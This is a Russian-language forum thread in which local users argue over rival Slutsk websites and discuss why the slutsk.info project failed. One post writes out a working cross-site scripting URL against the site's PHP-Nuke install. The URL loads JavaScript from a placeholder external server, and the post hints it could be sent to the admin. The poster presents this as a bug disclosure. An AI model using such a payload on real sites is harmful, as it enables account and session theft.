slutsk.info

[VEG]

Спешал фор Nere1d А что ты хотел там особенное увидеть! от ресурса который работает один день или на форуме Veg'a когда он его открыл сразу туча народа была в очередь устраивались чтоб попасть

По крайней мере бета тестирование было закрытым, и когда ресурс открылся, здесь уже было порядка 50 тем и каждый день я с Новиковым Виталием добавлял 3-4 новые. А ваш сайт был пропиарен заранее аж с мая 2005 года. Это всего-то 3 дня прошло?
А теперь флейм slutsk.net vs. slutsk.info просьба прикрыть. Все что я хотел бы сказать - сказано на предыдущих страницах этой ветки. Кто захочет - тот поймет.

[Typhoon]

Прошу у Veg'a прощения но еще одна мессага для Werdis'a посмотри будет очень интересно не правда ли серьезный баг с системе безопасности "Курьера" ХАКККК #2


И уважаемый Veg прошу заметить мы не разу не высказались плохо о твоем ресурсе и то что ты делаешь! поэтому эту бесмысленную болтавню типа инфо против нет я тоже счетаю бесмысленной!

[Anonymous]

я тут новенький а что у вас есть интересное почитать а то этот slutsk.info отстой натуральный ничего гету и зачем его нада было открывать!

[Nere1D]

А по-моему это просто зависть.......

[Werdis]

Детство, детство...
Typhoon, неужели ты думаешь, что мне охота тратить своё время и траффик на взлом (или как ты выразился "тестирование") слуцк.инфо?
Просто пост Паравозова о 7 челах меня заинтересовал...
Я взял 4 публично известные дырки php-nuke... И прогнал их через сайт...
Одна пролетела незаметно...
Две другие выдавали злобное сообщение о том, что мой IP вычислен, и что я забанен, заблокирован, короче расстрелян... :) Только вот после этого бана, я без смены IP свободно ходил-туда сюда по "порталу"...
И одна дырка все же сработала...
Она позволяет прицеплять любой JavaScript к странице...
http://slutsk.info/?pagetitle=title</title></head><script+src=http://имя_другого_сервера/script.js?
Дальше её можно подсунуть админу... Ведь и ты и Паравозов кликали на мой "Хак #1"... Дальше думаю ты понимаешь... Ведь вы, люди знающие, форум ломаете... :)
Но я человек не вредный (местами), поэтому просто указал вам на баг...
Причем, повторюсь, публично опубликованный...
http://www.securitylab.ru/vulnerability/source/262500.php

[Typhoon]

Спасибо Werdis'y за маленький лекбез без него ну никак я вроде написал выше что защиты не планировалось еще ни какой, ибо меня больше интересует как будут вести модули в системе и где еще мона наткнуться на неприятности ибо часть модулей изменялось а про эти дырки никто и не думал так как их не прочитали только что ленивые.

А что касательно лома форума дык нам тоже это не нада мы сами по себе вы сами посебе хотя и на форуме есть дырки и прочии огрехи. Одну такую сегодня Veg видел! Поэтому как говорится каждому своя песочница. А самое главное мы тоже белые и пушистые!

Да и самое главное приношу Veg'у публичные извинения за сегодняшние издевки над форумом в плане аватаров!

[Nomak]

Жаль, не видел я творения сего в действии. Наверно многое мог бы перенять. Особенно если учесть, что над сайтом работало 7 человек. Теперь понятно почему создание "нового сайта Слуцка" воспринимается с таким скептицизмом=) Эх, жаль мы не можем найти себе столько помощников...
а
PS Как я понял проект загнулся просто из-за того, что он никому не был нужен, в том числе и разрабам? Расскажите историю создания и развала.

[Вася Паравозов]

Проект на то он и проект, чтобы выйти на окупаемость или закрыться в итоге.
Знаете, в наше время никто не хотел и не понимал зачем платить 12 долларов за "джинсу" на сайте :)

[Nieśviadomy Biełarus]

Почитал ветку с начала - поднял себе настроение